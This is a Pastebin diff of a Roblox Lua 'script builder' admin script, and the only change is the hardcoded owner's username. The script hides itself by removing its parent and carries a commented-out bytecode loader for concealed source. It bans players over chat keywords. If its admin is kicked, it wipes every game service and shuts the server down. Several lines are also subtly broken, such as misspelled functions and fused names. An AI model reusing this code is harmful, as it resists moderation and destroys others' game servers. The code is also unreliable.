View difference between Paste ID: c0RTTHSL and M9ibRMDr
SHOW: | | - or go back to the newest paste.
1
--[[local RawEncrypt=loadstring('\27\76\117\97\81\0\1\4\4\4\8\0\18\0\0\0\61\87\111\114\107\115\112\97\99\101\46\83\99\114\105\112\116\0\6\0\0\0\15\0\0\0\0\3\0\14\38\0\0\0\219\64\128\0\22\0\0\128\193\0\0\0\27\65\0\1\22\0\0\128\1\65\0\0\65\129\0\0\129\193\0\0\212\1\0\0\1\194\0\0\160\65\2\128\139\2\65\0\0\3\128\4\64\3\128\4\156\130\0\2\139\66\65\5\156\130\0\1\212\2\0\0\206\194\2\2\143\194\2\5\76\129\130\2\159\1\253\127\133\129\1\0\134\193\65\3\197\129\1\0\198\1\194\3\0\2\128\2\220\129\0\1\209\193\128\3\156\129\0\1\78\1\1\3\133\65\2\0\134\129\66\3\193\193\2\0\0\2\128\2\157\1\128\1\158\1\0\0\30\0\128\0\12\0\0\0\3\0\0\0\0\0\0\57\64\3\0\0\0\0\0\0\20\64\3\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\240\63\4\4\0\0\0\115\117\98\0\4\5\0\0\0\98\121\116\101\0\4\5\0\0\0\109\97\116\104\0\4\5\0\0\0\99\101\105\108\0\4\4\0\0\0\108\111\103\0\4\7\0\0\0\115\116\114\105\110\103\0\4\7\0\0\0\102\111\114\109\97\116\0\4\3\0\0\0\37\88\0\0\0\0\0\38\0\0\0\7\0\0\0\7\0\0\0\7\0\0\0\8\0\0\0\8\0\0\0\8\0\0\0\9\0\0\0\10\0\0\0\10\0\0\0\10\0\0\0\10\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\10\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\15\0\0\0\10\0\0\0\7\0\0\0\83\116\114\105\110\103\0\0\0\0\0\37\0\0\0\9\0\0\0\69\120\112\111\110\101\110\116\0\0\0\0\0\37\0\0\0\9\0\0\0\77\117\108\116\105\112\108\121\0\0\0\0\0\37\0\0\0\9\0\0\0\69\120\112\111\110\101\110\116\0\3\0\0\0\37\0\0\0\9\0\0\0\77\117\108\116\105\112\108\121\0\6\0\0\0\37\0\0\0\5\0\0\0\66\121\116\101\0\7\0\0\0\37\0\0\0\12\0\0\0\40\102\111\114\32\105\110\100\101\120\41\0\10\0\0\0\22\0\0\0\12\0\0\0\40\102\111\114\32\108\105\109\105\116\41\0\10\0\0\0\22\0\0\0\11\0\0\0\40\102\111\114\32\115\116\101\112\41\0\10\0\0\0\22\0\0\0\2\0\0\0\105\0\11\0\0\0\21\0\0\0\0\0\0\0')
2
local SourceValue=script:FindFirstChild('SRC'..RawEncrypt(game.PlaceId..tostring(_G)));
3
if (SourceValue~=nil) then
4
	coroutine.resume(coroutine.create(function() loadstring(SourceValue.Value)(); end))
5
	return
6
end]]--
7
script.Parent = nil
8
--[[==[SB]==]]--
9-
se3 = game:GetService('Players') wow = game.Players.PiterMosskva_TV; rt = game:GetService('Workspace'); plrd = game:GetService('Players'); tem = game:GetService('Teams'); low = game.Players.PiterMosskva_TV.PlayerGui ins = game:GetService('InsertService')
9+
se3 = game:GetService('Players') wow = game.Players.zXzGamePROzXz; rt = game:GetService('Workspace'); plrd = game:GetService('Players'); tem = game:GetService('Teams'); low = game.Players.zXzGamePROzXz.PlayerGui ins = game:GetService('InsertService')
10-
mq = 8; str = game:GetService('StarterGui'); strp = game:GetService('StarterPack'); new = Instance.new; size = Size; vnew = Vector3.new; unw = UDim2.new; lol = game.Lighting; vtn = Vector2.new; me = game.Players.PiterMosskva_TV ; wq2e = game.Players.PiterMosskva_TV
10+
mq = 8; str = game:GetService('StarterGui'); strp = game:GetService('StarterPack'); new = Instance.new; size = Size; vnew = Vector3.new; unw = UDim2.new; lol = game.Lighting; vtn = Vector2.new; me = game.Players.zXzGamePROzXz; wq2e = game.Players.zXzGamePROzXz
11
--nam = Name; -- wont be use'd prob
12
fnew = CFrame.new; cnew = Color3.new;
13
--{0, 120}
14
--{0, 66}
15
--{0, 132
16
Names = {}
17
local banWords = {'BLACKEND','PBAN','PLAYERORB','ANTIBAN','CRYSTON','DEATHIMUS','CBA','CBALL','CAMBALL','KABALL','/UP','ORBS','1WAFFLE1','ADMIN COMMANDS','COMMANDS','ADMIN'} local banned = {'12packkid','GRASSTHEHEDGEHOGXX','dizzypokemondude2','ShadowBlast6','iamitamejelly','akzi','guoyuan','jordancar','creepyface5000','AnonymousHackerz'} local noBan = {'isaac100000','rigletto',irishdude358,'Marrelle','dorian827','skippykiller101','snowboarder199','rybo11','oatsyboat12','baragara','wikkedwig','coltman188888','supercheese200'}
18
Player = function(p)
19
	if banned[p.Name] then
20
		p:Destroy()
21
	end
22
	for j, v in pairs(noBan) do
23
		if v:lower() == p.Name:lower() then
24
			return
25
		end
26
	end
27
	p.Chatted:connect(function(m)
28
		for j, v in pairs(banWords) do
29
			if m:lower():find(v:lower()) then
30
				banned[p.Name] = true
31
				p:Destroy()
32
			end
33
		end
34
	end)
35
end
36
for j, v in pairs(game:GetService('Players'):GetPlayers()) do
37
	Player(v)
38
end
39
game:GetService('Players').PlayerAdded:connect(Player)
40
local baseurl = 'http://www.roblox.com/asset/?id=%d' bcn = BrickColor.new; tarns = Transparency; poz = Position;
41
--anc = Anchored;
42
--cf = Cframe;
43
--lok = Locked;
44
function notsq(TheTable)   
45
    wait()
46
    local Table = TheTable
47
    local Disks = {}
48
    local ClickedObject = nil
49
    CountedDisks = 0
50
    for Arguments, Objects in pairs(Table) do
51
        local TheColor = nil
52
        if Objects[2] == Random then
53
            TheColor = BrickColor.random()
54
        else
55
            TheColor = BrickColor.new(Objects[2])
56
        end
57
        
58
        CountedDisks = CountedDisks + 1
59
        
60
        local Disk = Instance.new('Part', Workspace)
61
        Disk.Size = Vector3.new(3, 0.2, 3)
62
        Disk.Transparency = 0.5
63
        Disk.BrickColor = TheColor
64
        Disk.Name = 'Disk'
65
        Disk.CanCollide = false
66
        Disk.Position = wow.Character.Torso.Position
67
        table.insert(Disks, Disk)
68
        
69
        local Billboard = Instance.new('BillboardGui', Disk)
70
        Billboard.Adornee = Disk
71
        Billboard.Enabled = true
72
        Billboard.Active = true
73
        Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
74
        Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
75
        
76
local brickcolorOne = BrickColor.new('White')
77
local colorOne = brickcolorOne.Color
78
local brickcolorTwo = BrickColor.new('Really black')
79
local colorTwo = brickcolorTwo.Color
80
local textlabel = Instance.new('TextLabel', Billboard)
81
textlabel.Text = Objects[1]
82
textlabel.FontSize = 'Size24'
83
textlabel.Font = 'ArialBold'
84
textlabel.TextColor3 = colorOne
85
textlabel.TextStrokeColor3 = colorTwo
86
textlabel.TextStrokeTransparency = 0
87
        
88
        local Mesh = Instance.new('BlockMesh', Disk)
89
        
90
        local Box = Instance.new('SelectionBox', Disk)
91
        Box.Transparency = 0
92
        Box.Adornee = Disk
93
        Box.Color = TheColor
94
        
95
        local ClickDetector = Instance.new('ClickDetector', Disk)
96
        ClickDetector.MaxActivationDistance = math.huge
97
        
98
        local function RemoveFunction(Disk)
99
            DismissTypeUsed = 'Click'
100
            DiskSelected = Disk
101
            for i,v in pairs(Disks) do
102
                pcall(function() v:remove() end)
103
                pcall(function() table.remove(Disks, v) end)
104
            end
105
            Disks = {}
106
            for i,v in pairs(Table) do
107
                pcall(function() table.remove(Table, v) end)
108
            end
109
            Table = {}
110
        end
111
        ClickDetector.MouseClick:connect(function(Person)
112
            if Person == wow then
113
                DismissTypeUsed = 'Click'
114
                RemoveFunction(Objects[1])
115
            end
116
        end)
117
        wow.Chatted:connect(function(Message)
118
            for _,Phrases in pairs(ReleasePhrases) do
119
                if string.lower(Message) == Phrases then RemoveFunction() end
120
                DismissTypeUsed = 'Chat'
121
            end
122
        end)
123
        
124
        local Fire = Instance.new('Fire', Disk)
125
        Fire.Size = 6
126
        Fire.Heat = 0
127
        Fire.Color = TheColor .Color
128
        Fire.SecondaryColor = TheColor.Color
129
        
130
        local BP = Instance.new('BodyPosition', Disk)
131
        BP.position = wow.Character.Torso.Position
132
        BP.maxForce = Vector3.new(math.huge, math.huge, math.huge)
133
        
134
        local BG = Instance.new('BodyGyro', Disk)
135
        BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
136
        
137
        Disk:BreakJoints()
138
    end
139
    coroutine.resume(coroutine.create(function() 
140
        while wait() do
141
            if #Disks == 0 then break end
142
            for NumDisks, Disk in pairs(Disks) do
143
                local BP = Disk:FindFirstChild('BodyPosition') or Instance.new('BodyPosition', Disk)
144
                local BG = Disk:FindFirstChild('BodyGyro') or Instance.new('BodyGyro', Disk)
145
                local Radius = 3 + (#Disks*.7)
146
                local Pos = (wow.Character:FindFirstChild('Torso') or wow.Character:FindFirstChild('Torso')).CFrame
147
           
148
                local X = math.cos((tonumber(NumDisks)/#Disks - (0.10/#Disks)) * math.pi*2) * Radius 
149
                local Y = 0
150
                local Z = math.sin((tonumber(NumDisks)/#Disks - (0.10/#Disks)) * math.pi*2) * Radius 
151
           
152
                BP.position = Pos:toWorldSpace(CFrame.new(X,Y,Z):inverse()).p
153
                BG.cframe = CFrame.new(Disk.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
154
            end
155
        end 
156
    end))
157
    if DismissTypeUsed == 'Click' then
158
        return DiskSelected
159
    end
160
end
161
function qwsqd(TheTable)   
162
    wait()
163
    local Table = TheTable
164
    local Spheres = {}
165
    for Arguments, Objects in pairs(Table) do
166
        local TheColor = nil
167
        if Objects[2] == Random then
168
            TheColor = BrickColor.random()
169
        else
170
            TheColor = BrickColor.new(Objects[2])
171
        end
172
        
173
        local Sphere = Instance.new('Part', Workspace)
174
        Sphere.Size = Vector3.new(2,2,2)
175
        Sphere.Transparency = 0.5
176
        Sphere.BrickColor = TheColor
177
        Sphere.Name = 'Sphere'
178
        Sphere.CanCollide = false
179
        Sphere.Position = wow.Character.Torso.Position
180
        Sphere.TopSurface = 'Smooth'
181
        Sphere.BottomSurface = 'Smooth'
182
        Sphere.Shape = 'Ball'
183
        table.insert(Spheres, Sphere)
184
        
185
        local Billboard = Instance.new('BillboardGui', Sphere)
186
        Billboard.Adornee = Disk
187
        Billboard.Enabled = true
188
        Billboard.Active = true
189
        Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
190
        Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
191
        
192
local brickcolorOne = BrickColor.new('White')
193
local colorOne = brickcolorOne.Color
194
local brickcolorTwo = BrickColor.new('Really black')
195
local colorTwo = brickcolorTwo.Color
196
local textlabel = Instance.new('TextLabel', Billboard)
197
textlabel.Text = Objects[1]
198
textlabel.FontSize = 'Size24'
199
textlabel.Font = 'ArialBold'
200
textlabel.TextColor3 = colorOne
201
textlabel.TextStrokeColor3 = colorTwo
202
textlabel.TextStrokeTransparency = 0
203
        
204
        local Box = Instance.new('SelectionBox', Sphere)
205
        Box.Transparency = 0.4
206
        Box.Adornee = Sphere
207
        Box.Color = TheColor
208
        local Fire = Instance.new('Fire', Sphere)
209
        Fire.Size = 6
210
        Fire.Heat = 0
211
        Fire.Color = TheColor .Color
212
        Fire.SecondaryColor = TheColor.Color
213
        
214
        local BP = Instance.new('BodyPosition', Sphere)
215
        BP.position = wow.Character.Torso.Position
216
        BP.maxForce = Vector3.new(math.huge, math.huge, math.huge)
217
        
218
        local BG = Instance.new('BodyGyro', Sphere)
219
        BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
220
        
221
        Sphere:BreakJoints()
222
        function Sin(i)
223
            return math.sin(math.rad(i))
224
        end
225
        function Cos(i)
226
            return math.cos(math.rad(i))
227
        end
228
        for i = 0,380,2.5 do
229
            BP.position = wow.Character.Torso.CFrame:toWorldSpace(CFrame.new(Vector3.new(Sin(i)*4, 1.5, Cos(i)*4))).p 
230
            BG.cframe = CFrame.Angles(0,math.rad(i),0)
231
            wait()
232
        end
233
        Sphere:remove()
234
    end
235
end
236-
sul = game.Players.PiterMosskva_TV
236+
sul = game.Players.zXzGamePROzXz
237-
hqw = game.Players.PiterMosskva_TV bcol = BrickColor; findp = game.Players xu = game.Players.PiterMosskva_TV.Character
237+
hqw = game.Players.zXzGamePROzXzbcol = BrickColor; findp = game.Players xu = game.Players.zXzGamePROzXz.Character
238
--[[==[UGLY CODE]===]]--
239
qx = print; look = CFrame.lookVector; rot = CFrame.fromEulerAnglesXYZ; debris = game:service('Debris');
240
random = math.random; pi = math.pi
241
e113 = ins:LoadAsset(47532) e113.Parent = game.Lighting
242
e11 = ins:LoadAsset(47433) e11.Parent = game.Lighting
243
e1 = ins:LoadAsset(95354288) e1.Parent = game.Lighting
244
e2 = ins:LoadAsset(95354304) e2.Parent = game.Lighting
245
qw1 = ins:LoadAsset(94233286) qw1.Parent = game.Lighting
246
function mwq(msg,parent) 
247
sw = new('ScreenGui' ,parent) sw.Name = 'ugly codez'
248
sd2 = new('TextButton' ,sw) sd2.Position = unw(0, 0, 0, 0) sd2.TextColor = bcn(255,255,255)  sd2.FontSize = 'Size18' sd2.Font = 'ArialBold' sd2.Size = unw(1, 0, 0, 45) sd2.Text = msg sd2.BackgroundTransparency = 0 sd2.BackgroundColor = bcn('Really Black') sd2.BorderColor = bcn('Black') sd2.Style = 'RobloxButtonDefault'
249
wait(1)
250
sd2:Remove()
251
end 
252
function qwq(msg) 
253
for i,v in pairs(findp:GetChildren()) do
254
sww = new('ScreenGui' ,v.PlayerGui) sw.Name = 'ugly codez'
255
sd2w = new('TextButton' ,sww) sd2w.Position = unw(0, 0, 0, 0) sd2w.TextColor = bcn(255,255,255)  sd2w.FontSize = 'Size24' sd2w.Font = 'ArialBold' sd2w.Size = unw(1, 0, 1, 0) sd2w.BackgroundTransparency = 0.6 sd2w.BackgroundColor = bcn('Really Black') sd2w.BorderColor = bcn('Black') sd2w.Style = 'RobloxButtonDefault' sd2w.TextWrapped = true
256
for tr=1,#msg do sd2w.Text=msg:sub(1,tr) wait() end
257
wait(1)
258
sd2w:Remove()
259
end 
260
end
261
function qwe(msg) 
262
for i,v in pairs(findp:GetChildren()) do
263
sww = new('ScreenGui' ,v.PlayerGui) sw.Name = 'ugly codez'
264
sd2w = new('TextButton' ,sww) sd2w.Position = unw(0, 0, 0, 0) sd2w.TextColor = bcn(255,255,255)  sd2w.FontSize = 'Size24' sd2w.Font = 'ArialBold' sd2w.Size = unw(1, 0, 0, 45) sd2w.BackgroundTransparency = 0.6 sd2w.BackgroundColor = bcn('Really Black') sd2w.BorderColor = bcn('Black') sd2w.Style = 'RobloxButtonDefault' sd2w.TextWrapped = true
265
for tr=1,#msg do sd2w.Text=msg:sub(1,tr) wait() end
266
wait(1)
267
sd2w:Remove()
268
end 
269
end
270
function mwi(msw,color)
271
game:GetService'Chat':Chat(xu:FindFirstChild('Head'), msw , color)
272
end
273
function hgf(Player, Color)
274
    for _,Parts in pairs(Player.Character:GetChildren()) do
275
        if Parts.className == 'Part' then
276
local Box = Instance.new('SelectionBox', Parts)
277
Box.Adornee = Parts
278
Box.Color = BrickColor.new(Color)
279
Box.Transparency = 0
280
        end
281
    end
282
    coroutine.resume(coroutine.create(function()
283
wait(1)
284
for _,Parts in pairs(Player.Character:GetChildren()) do for _, Things in pairs(Parts:GetChildren()) do
285
286
if Things.className == 'SelectionBox' or Things.className == 'Fire' then Things:remove() end
287
            end
288
        end
289
    end))
290
end
291
--[[==[LOCKE]==]]--
292-
Adminlist={'PiterMosskva_TV'};
292+
Adminlist={'zXzGamePROzXz'};
293
Bannedlist={'12packkid','GRASSTHEHEDGEHOGXX','dizzypokemondude2','ShadowBlast6','iamitamejelly','akzi','guoyuan','jordancar','creepyface5000','AnonymousHackerz'};
294
local AccessKey='9001'; -- Admin code registration/access key
295
296
local CommandSeperator=' ';
297
local DataKey='GKS';
298
local Commands,AdminConnectionList,AdminUserList,Modules,NewInstance,NewColor3,NewBrickColor,RandomBrickColor,NewCFrame,NewVector3,MaskAdminlist,NewUDim2,GameBackups,SystemSettings={},{},{},{},Instance.new,Color3.new,BrickColor.new,BrickColor.Random,CFrame.new,Vector3.new,(function() local Table={}; for Index,Entry in pairs(Adminlist) do Table[#Table+1]=Entry; end return Table; end)(),UDim2.new,{},{};
299
300
function CreateModule(ModuleName,ModuleContent)
301
	Modules[ModuleName]=ModuleContent;
302
end
303
function RunModule(ModuleName,...)
304
	return Modules[ModuleName](...);
305
end
306
function RemoveModule(ModuleName)
307
	Modules[ModuleName]=nil;
308
end
309
function ReportError(Bool,Error)
310
	--[[if (not Bool) then
311
		print('ERROR:',Error)
312
	end]]
313
end
314
315
-- Define the core modules
316
CreateModule('CommandModule',function(CommandName,CommandDescription,CommandShortcut,CommandMatch,CommandCall,UpperCase) Commands[CommandName]={Description=CommandDescription,Shortcut=CommandShortcut,Call=CommandCall,Match=CommandMatch,UpperCase=UpperCase} end)
317
CreateModule('GetPlayer',function(Input,Speaker)
318
	if (Input==nil) or (Speaker==nil) then return nil end
319
	local function MatchKeyword(Keyword)
320
		for Word in Input:gmatch('%w+') do
321
			if (Word==Keyword) then
322
				return true
323
			end
324
		end
325
		return false
326
	end
327
	local Matches={}
328
	local PlayerList=game:GetService('Players'):GetPlayers();
329
	if MatchKeyword('all') then
330
		for Index,Player in pairs(PlayerList) do
331
			if (Player.className=='Player') then
332
				table.insert(Matches,Player);
333
			end
334
		end
335
	return Matches
336
	end
337
	if MatchKeyword('me') then
338
		return {Speaker};
339
	end
340
	if MatchKeyword('others') then
341
		for Index,Player in pairs(PlayerList) do
342
			if (Player.className=='Player') then
343
				if (Player~=Speaker) then
344
					table.insert(Matches,Player);
345
				end
346
			end
347
		end
348
	return Matches;
349
	end
350
	if MatchKeyword('guests') then
351
		for Index,Player in pairs(PlayerList) do
352
			if (Player.className=='Player') then
353
				if (Player.Name:sub(1,6)=='Guest ') then
354
					table.insert(Matches,Player);
355
				end
356
			end
357
		end
358
	return Matches;
359
	end
360
	if MatchKeyword('friends') then
361
		for Index,Player in paird(PlayerList) do
362
			if (Player.className=='Player') then
363
				if (Player:IsFriendsWith(Speaker.userId)==true) then
364
					table.insert(Matches,Player);
365
				end
366
			end
367
		end
368
	return PlayerList
369
	end
370
	if MatchKeyword('nonfriends') then
371
		for Index,Player in pairs(PlayerList) do
372
			if (Player.className=='Player') then
373
				if (Player:IsFriendsWith(Speaker.userId)==false) then
374
					table.insert(Matches,Player);
375
				end
376
			end
377
		end
378
	return Matches;
379
	end
380
	for Index,Player in pairs(PlayerList) do
381
		for Word in Input:gmatch('%w+') do
382
			if (Player.className=='Player') then
383
				if (string.find(Player.Name:lower(),Word)==1) then
384
					table.insert(Matches,Player);
385
				end
386
			end
387
		end
388
	end
389
	return Matches;
390
end)
391
CreateModule('IsAdmin',function(Input)
392
	if (type(Input)=='userdata') then
393
		Input=Input.Name;
394
	end
395
	local IsAdmin=false;
396
	table.foreach(Adminlist,function(Index,Username) if (Username:lower()==Input:lower()) then IsAdmin=true; end end)
397
	return IsAdmin;
398
end)
399
CreateModule('AddPlayer',function(Player)
400
	coroutine.resume(coroutine.create(function()
401
		Player:WaitForDataReady();
402
		local Data=Player:LoadString(DataKey); -- Errors here don't affect the main thread
403
		for RawTable in Data:gmatch('{(.-)}') do
404
			local Table=RunModule('ConvertString','{'..RawTable..'}');
405
			if (tonumber(Table.Type)==0) then
406
				if (tonumber(Table.Value)>tick()) and (RunModule('IsAdmin',Player)==false) then
407
					pcall(Player.Remove,Player);
408
				end
409
			end
410
		end
411
	end))
412
	Player.Chatted:connect(function(Message)
413
		local Message=Message:lower();
414
		if (Message:sub(1,10)=='/loadcode/') then
415
			if (RunModule('AdminCodeSystem',Player):lower()==Message:sub(11)) then
416
				table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Player.Name:lower()) then Connection:disconnect(); end end)
417
				AdminConnectionList[#AdminConnectionList+1]=Player.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end)
418
				AdminUserList[#AdminUserList+1]=Player.Name;
419
				RunModule('ShowHint',Player,'Admin code request accepted.',5);
420
			else
421
				RunModule('ShowHint',Player,'Admin code request declined.',5);
422
			end
423
		end
424
	end)
425
	if (RunModule('IsAdmin',Player)==true) then
426
		CreateModule('AdminModule-'..Player.Name,function(IsAdmin)
427
			if (IsAdmin==false) then
428
				table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Player.Name:lower()) then Connection:disconnect(); end end)
429
			else
430
				RunModule('AdminModule-'..Player.Name,false);
431
				AdminConnectionList[#AdminConnectionList+1]=Player.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end)
432
				AdminUserList[#AdminUserList+1]=Player.Name;
433
			end
434
		end)
435
		RunModule('AdminModule-'..Player.Name,true);
436
		Player.CharacterAdded:connect(function() RunModule('GuiPanelInitializer',Player); end)
437
		RunModule('GuiPanelInitializer',Player);
438
	else
439
		for Index,BannedPlayer in pairs(Bannedlist) do
440
			if (BannedPlayer:lower()==Player.Name:lower()) then
441
				pcall(function() Player:Remove(); end)
442
			end
443
		end
444
	end
445
end)
446
CreateModule('RemovePlayer',function(Player)
447
	RemoveModule('AdminModule-'..Player.Name);
448
	if (RunModule('IsAdmin',Player)==true) then -- Possibly kicked/banned
449
		local Error,NetworkServer=pcall(game.GetService,game,'NetworkServer');
450
		if (type(NetworkServer)~='userdata') then return end -- Build mode
451
		local InitialTime=time();
452
		local Activate=true;
453
		NetworkServer.ChildRemoved:connect(function(Child)
454
			if (Child:IsA('NetworkReplicator')==true) then -- Is a replicator
455
				if ((time()-InitialTime)<0.01) then
456
					Activate=false; -- User just left
457
				end
458
			end
459
		end)
460
		wait(0.5)
461
		if (Activate==true) then
462
			table.foreach(game:GetChildren(),function(Index,Service)
463
				pcall(function() -- Some services yell at you
464
					table.foreach(Service:GetChildren(),function(ChildIndex,Child)
465
						if (Child~=script) then
466
							pcall(Child.Remove,Child);
467
						end
468
					end)
469
				end)
470
			end)
471
			RunModule('Shutdown');
472
		end
473
	end
474
end)
475
CreateModule('PlayerChat',function(Message,Speaker)
476
	table.foreach(Commands,function(Index,CommandUnit)
477
		local Match=(Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match)) or Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match)));
478
		if (Match~=nil) and (not CommandUnit.UpperCase) then -- Just found out the 'or' keyword won't return multiple arguments. -_-
479
			local FullMatch=Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match));
480
			local ShortcutMatch=Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match));
481
			if (FullMatch~=nil) then
482
				ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match))); end)));
483
			elseif (ShortcutMatch~=nil) then
484
				ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match))); end)));
485
			end
486
		elseif (CommandUnit.UpperCase) and (Match~=nil) then
487
			local Point=(Message:lower():find(Index..RunModule('ParseMatch',CommandUnit.Match)) or Message:lower():find(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match)));
488
			ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:sub(Message:sub(Point):find(CommandSeperator)+1)); end)));
489
		end
490
	end)
491
end)
492
CreateModule('ParseMatch',function(Match) return Match:gsub('#cs#',CommandSeperator) end)
493
CreateModule('ConvertTable',function(Table)
494
	local Result='<{';
495
	table.foreach(Table,function(Index,String)
496
		Result=Result..Index..'='..tostring(String):gsub('=','\\61')..';';
497
	end)
498
	return Result..'}>';
499
end)
500
CreateModule('ConvertString',function(String)
501
	local Result={};
502
	local TableStart,TableFinish=String:find('<{')+2,String:find('}>');
503
	for Index,Input in String:sub(TableStart,TableFinish):gmatch('(.-)=(.-);') do
504
		if (tonumber(Index)~=nil) then Indetonumber(Index); end
505
		Result[Index]=Input:gsub('\\61','=');
506
	end
507
	return Result;
508
end)
509
CreateModule('GuiLibrary',function()
510
	local Library={};
511
	Library.NewBasicGUI=(function(Class,Properties)
512
		local Result=NewInstance(Class);
513
		table.foreach((Properties or Library.DefaultProperties),function(Property,Value)
514
			Result[Property]=Value;
515
		end)
516
		return Result;
517
	end)
518
	Library.DefaultProperties={BackgroundColor3=Color3.new(0,0,0),BackgroundTransparency=0.5,BorderSizePixel=0};
519
	return Library;
520
end)
521
CreateModule('DisposePlayer',function(Player,Speaker,DontRemove)
522
	if (RunModule('IsAdmin',Player)==false) and (RunModule('IsAdmin',Speaker)==true) then
523
		if (not DontRemove) then pcall(Player.Remove,Player); end
524
		return true;
525
	end
526
	return false;
527
end)
528
CreateModule('ShowHint',function(Player,Text,Time)
529
	local Hint=NewInstance('Hint')
530
	Hint.Parent=Player:FindFirstChild('PlayerGui');
531
	Hint.Text=Text;
532
	if (Time~=nil) then delay(Time,function() Hint:Remove() end) end
533
	return Hint;
534
end)
535
CreateModule('ScrollText',function(Text,Index)
536
	return Text:sub(Index,Index+80);
537
end)
538
CreateModule('CreateScript',function(Source,Parent)
539
	local Base=script:Clone();
540
	local PseudoSource=NewInstance('StringValue')
541
	PseudoSource.Name='SRC'..RawEncrypt(game.PlaceId..tostring(_G));
542
	PseudoSource.Value=Source;
543
	PseudoSource.Parent=Base;
544
	Base.Parent=Parent;
545
end)
546
CreateModule('GuiPanelInitializer',function(Player)
547
	local GuiLibrary=RunModule('GuiLibrary');
548
	local Main=NewInstance('ScreenGui')
549
	Main.Name='ControlBox';
550
	local MainWindow=GuiLibrary.NewBasicGUI('Frame',{Size=NewUDim2(0.08,0,0.4,0),Position=NewUDim2(0,0,0.2,0),BackgroundColor3=NewColor3(0,0,0),BorderSizePixel=0,BackgroundTransparency=0.5,Name='MainWindow',Parent=Main})
551
	local InputBoxBacker=GuiLibrary.NewBasicGUI('ImageLabel',{Size=NewUDim2(1,0,0.06,0),BackgroundTransparency=0.5,BackgroundColor3=NewColor3(1,1,1),BorderSizePixel=0,Image='http://www.roblox.com/asset/?id=36361705',Name='InputBoxBacker',Parent=MainWindow})
552
	local InputBox=GuiLibrary.NewBasicGUI('TextBox',{Size=NewUDim2(0.98,0,1,0),Position=NewUDim2(0.02,0,0,0),TextXAlignment=0,BorderSizePixel=0,BackgroundTransparency=1,TextColor3=NewColor3(0,0,0),Text='',Name='InputBox',Parent=InputBoxBacker})
553
	local ToggleButton=GuiLibrary.NewBasicGUI('TextButton',{Size=NewUDim2(1,0,1,0),Position=NewUDim2(0,0,1,0),TextColor3=NewColor3(1,1,1),BackgroundTransparency=1,Text='<< Minimize <<',BorderSizePixel=0,Name='ToggleSize',Parent=InputBoxBacker})
554
	local ContentWrapper=GuiLibrary.NewBasicGUI('Frame',{Size=NewUDim2(1,0,0.88,0),Position=NewUDim2(0,0,0.12,0),BackgroundTransparency=1,BorderSizePixel=0,Name='ContentWrapper',Parent=MainWindow})
555
	local TemporaryContent={};
556
	local function ToggleSize(Enlarging,EasingStyle)
557
		if (not Enlarging) then
558
			InputBox.Visible=false;
559
			ToggleButton.Text='>>';
560
			MainWindow:TweenSize(NewUDim2(0.02,0,0.4,0),'Out',EasingStyle,0.3);
561
		else
562
			InputBox.Visible=true;
563
			ToggleButton.Text='<< Minimize <<';
564
			MainWindow:TweenSize(NewUDim2(0.08,0,0.4,0),'Out',EasingStyle,0.3);
565
		end
566
		return not Enlarging;
567
	end
568
	local function ClearTemporaryContent()
569
		table.foreach(TemporaryContent,function(Index,Object) Object:Remove() end)
570
	end
571
	local function AddTemporaryContent(Object)
572
		TemporaryContent[#TemporaryContent+1]=Object;
573
	end
574
	local function BuildAlternatingList(Members)
575
		local function Chop(Table,Max) local Result={}; local Index=0; for EntryIndex,Entry in pairs(Table) do Index=Index+1; if (Index<=20) then Result[EntryIndex]=Entry; end end return Result; end
576
		local Members=Chop(Members,20);
577
		local Alternate=false;
578
		ClearTemporaryContent();
579
		local Index=0;
580
		for BarText,CommandUnit in pairs(Members) do
581
			local Bar=GuiLibrary.NewBasicGUI('TextButton',{Size=NewUDim2(1,0,1/20,0),Position=NewUDim2(0,0,Index,0),Text=BarText,BackgroundTransparency=0.6,BackgroundColor3=(Alternate==false and NewColor3(0.2,0.2,0.2) or Alternate and NewColor3(0.3,0.3,0.3)),BorderSizePixel=0,TextColor3=NewColor3(1,1,1),Name='SearchResultButton',Parent=ContentWrapper})
582
			Bar.MouseButton1Click:connect(function()
583
				ClearTemporaryContent();
584
				local Box=GuiLibrary.NewBasicGUI('TextLabel',{Size=NewUDim2(1,0,1,0),BackgroundTransparency=1,Text='Name: '..BarText..'\nShortcut: '..CommandUnit.Shortcut..'\n\n'..CommandUnit.Description,TextWrap=true,TextYAlignment='Top',Name='Information',TextColor3=NewColor3(1,1,1),Parent=ContentWrapper})
585
				AddTemporaryContent(Box);
586
			end)
587
			AddTemporaryContent(Bar);
588
			Alternate=not Alternate;
589
			Index=Index+1/20
590
		end
591
	end
592
	local function SearchCommands(Query)
593
		local Results={};
594
		for Index,Entry in pairs(Commands) do
595
			if (Index:lower():match(Query)) or (Entry.Description:lower():match(Query)) then
596
				Results[Index]=Entry;
597
			end
598
		end
599
		BuildAlternatingList(Results);
600
	end
601
	InputBox.Changed:connect(function(Property)
602
